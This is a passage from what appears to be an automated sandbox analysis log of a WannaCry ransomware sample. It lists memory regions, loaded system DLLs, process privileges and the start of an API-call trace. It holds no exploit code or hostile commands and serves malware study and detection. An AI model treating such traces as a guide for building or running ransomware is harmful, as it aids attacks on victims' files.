0x7ff69528ffff entry_point = 0x0 region_type = private name = "private_0x00007ff69528e000" filename = "" Region: id = 1308 start_va = 0x7ff695300000 end_va = 0x7ff695357fff entry_point = 0x7ff69532b7d0 region_type = mapped_file name = "bcdedit.exe" filename = "\\Windows\\System32\\bcdedit.exe" (normalized: "c:\\windows\\system32\\bcdedit.exe") Region: id = 1309 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1358 start_va = 0x3b88610000 end_va = 0x3b8870ffff entry_point = 0x0 region_type = private name = "private_0x0000003b88610000" filename = "" Region: id = 1359 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1360 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1398 start_va = 0x3b884a0000 end_va = 0x3b884affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003b884a0000" filename = "" Region: id = 1399 start_va = 0x3b884b0000 end_va = 0x3b884b6fff entry_point = 0x0 region_type = private name = "private_0x0000003b884b0000" filename = "" Region: id = 1400 start_va = 0x3b88580000 end_va = 0x3b885fdfff entry_point = 0x3b88580000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1401 start_va = 0x3b88800000 end_va = 0x3b8880ffff entry_point = 0x0 region_type = private name = "private_0x0000003b88800000" filename = "" Region: id = 1402 start_va = 0x7ff695160000 end_va = 0x7ff69525ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff695160000" filename = "" Region: id = 1403 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1404 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1405 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1406 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Thread: id = 116 os_tid = 0x4e4 Process: id = "19" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x61f1000" os_pid = "0x880" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xaa0" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1424 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1425 start_va = 0xc80c720000 end_va = 0xc80c73ffff entry_point = 0x0 region_type = private name = "private_0x000000c80c720000" filename = "" Region: id = 1426 start_va = 0xc80c740000 end_va = 0xc80c74efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80c740000" filename = "" Region: id = 1427 start_va = 0xc80c750000 end_va = 0xc80cb4ffff entry_point = 0x0 region_type = private name = "private_0x000000c80c750000" filename = "" Region: id = 1428 start_va = 0xc80cb50000 end_va = 0xc80cb53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80cb50000" filename = "" Region: id = 1429 start_va = 0xc80cb60000 end_va = 0xc80cb61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80cb60000" filename = "" Region: id = 1430 start_va = 0xc80cb70000 end_va = 0xc80cb71fff entry_point = 0x0 region_type = private name = "private_0x000000c80cb70000" filename = "" Region: id = 1431 start_va = 0x7ff755f70000 end_va = 0x7ff755f92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755f70000" filename = "" Region: id = 1432 start_va = 0x7ff755f9c000 end_va = 0x7ff755f9cfff entry_point = 0x0 region_type = private name = "private_0x00007ff755f9c000" filename = "" Region: id = 1433 start_va = 0x7ff755f9e000 end_va = 0x7ff755f9ffff entry_point = 0x0 region_type = private name = "private_0x00007ff755f9e000" filename = "" Region: id = 1434 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 1435 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1436 start_va = 0xc80cbf0000 end_va = 0xc80cfeffff entry_point = 0x0 region_type = private name = "private_0x000000c80cbf0000" filename = "" Region: id = 1437 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1438 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1439 start_va = 0xc80c720000 end_va = 0xc80c72ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80c720000" filename = "" Region: id = 1440 start_va = 0xc80c730000 end_va = 0xc80c736fff entry_point = 0x0 region_type = private name = "private_0x000000c80c730000" filename = "" Region: id = 1441 start_va = 0xc80cb80000 end_va = 0xc80cb86fff entry_point = 0x0 region_type = private name = "private_0x000000c80cb80000" filename = "" Region: id = 1442 start_va = 0xc80cb90000 end_va = 0xc80cb9ffff entry_point = 0x0 region_type = private name = "private_0x000000c80cb90000" filename = "" Region: id = 1443 start_va = 0xc80cba0000 end_va = 0xc80cba0fff entry_point = 0x0 region_type = private name = "private_0x000000c80cba0000" filename = "" Region: id = 1444 start_va = 0xc80cbb0000 end_va = 0xc80cbb0fff entry_point = 0x0 region_type = private name = "private_0x000000c80cbb0000" filename = "" Region: id = 1445 start_va = 0xc80cff0000 end_va = 0xc80d06dfff entry_point = 0xc80cff0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1446 start_va = 0xc80d070000 end_va = 0xc80d1f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80d070000" filename = "" Region: id = 1447 start_va = 0xc80d200000 end_va = 0xc80d380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80d200000" filename = "" Region: id = 1448 start_va = 0xc80d390000 end_va = 0xc80e78ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80d390000" filename = "" Region: id = 1449 start_va = 0x7ff755e70000 end_va = 0x7ff755f6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755e70000" filename = "" Region: id = 1450 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1451 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 1452 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 1453 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1454 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1455 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1456 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1457 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 1458 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1459 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 1460 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1461 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1462 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1463 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1464 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1465 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1466 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1467 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1468 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1469 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1470 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1471 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1472 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1473 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1474 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1475 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1476 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1477 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1478 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 1479 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1480 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1481 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1482 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1483 start_va = 0xc80cbd0000 end_va = 0xc80cbd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80cbd0000" filename = "" Region: id = 1484 start_va = 0xc80e800000 end_va = 0xc80e80ffff entry_point = 0x0 region_type = private name = "private_0x000000c80e800000" filename = "" Region: id = 1485 start_va = 0xc80e810000 end_va = 0xc80e8c9fff entry_point = 0xc80e83c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1486 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1487 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1488 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1574 start_va = 0xc80cbc0000 end_va = 0xc80cbc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80cbc0000" filename = "" Region: id = 1575 start_va = 0xc80e810000 end_va = 0xc80e8fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80e810000" filename = "" Region: id = 1576 start_va = 0xc80cbc0000 end_va = 0xc80cbc3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80cbc0000" filename = "" Region: id = 1577 start_va = 0xc80cbe0000 end_va = 0xc80cbe6fff entry_point = 0x0 region_type = private name = "private_0x000000c80cbe0000" filename = "" Region: id = 1578 start_va = 0xc80e900000 end_va = 0xc80e9fffff entry_point = 0x0 region_type = private name = "private_0x000000c80e900000" filename = "" Region: id = 1579 start_va = 0xc80ea00000 end_va = 0xc80eb00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80ea00000" filename = "" Region: id = 1580 start_va = 0xc80e790000 end_va = 0xc80e790fff entry_point = 0x0 region_type = private name = "private_0x000000c80e790000" filename = "" Region: id = 1581 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1582 start_va = 0xc80ea00000 end_va = 0xc80ecd4fff entry_point = 0xc80ea00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1583 start_va = 0xc80e7a0000 end_va = 0xc80e7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80e7a0000" filename = "" Region: id = 1650 start_va = 0xc80e7b0000 end_va = 0xc80e7b0fff entry_point = 0x0 region_type = private name = "private_0x000000c80e7b0000" filename = "" Region: id = 1651 start_va = 0xc80ece0000 end_va = 0xc80f1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80ece0000" filename = "" Region: id = 1652 start_va = 0xc80f1e0000 end_va = 0xc81004ffff entry_point = 0xc80f1e0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1653 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1654 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1655 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1656 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1657 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1658 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1659 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1660 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1661 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1662 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1663 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1664 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1665 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1666 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1667 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1668 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1669 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1670 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1671 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1672 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1673 start_va = 0xc80e7c0000 end_va = 0xc80e7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80e7c0000" filename = "" Region: id = 1674 start_va = 0xc810050000 end_va = 0xc810267fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c810050000" filename = "" Region: id = 1675 start_va = 0xc80e7c0000 end_va = 0xc80e7c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80e7c0000" filename = "" Region: id = 1676 start_va = 0xc80e7d0000 end_va = 0xc80e7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c80e7d0000" filename = "" Region: id = 1677 start_va = 0xc80e7e0000 end_va = 0xc80e7e4fff entry_point = 0xc80e7e0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1678 start_va = 0xc810270000 end_va = 0xc813105fff entry_point = 0xc810270000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1679 start_va = 0xc813110000 end_va = 0xc813509fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c813110000" filename = "" Region: id = 1680 start_va = 0xc813510000 end_va = 0xc813553fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c813510000" filename = "" Region: id = 1681 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1682 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1683 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1696 start_va = 0xc813560000 end_va = 0xc813584fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000c813560000" filename = "" Thread: id = 120 os_tid = 0xb14 [0031.345] GetStartupInfoW (in: lpStartupInfo=0xc80cb4fb50 | out: lpStartupInfo=0xc80cb4fb50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0031.346] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0031.346] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0031.346] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0031.346] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0031.346] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0031.346] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0031.346] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 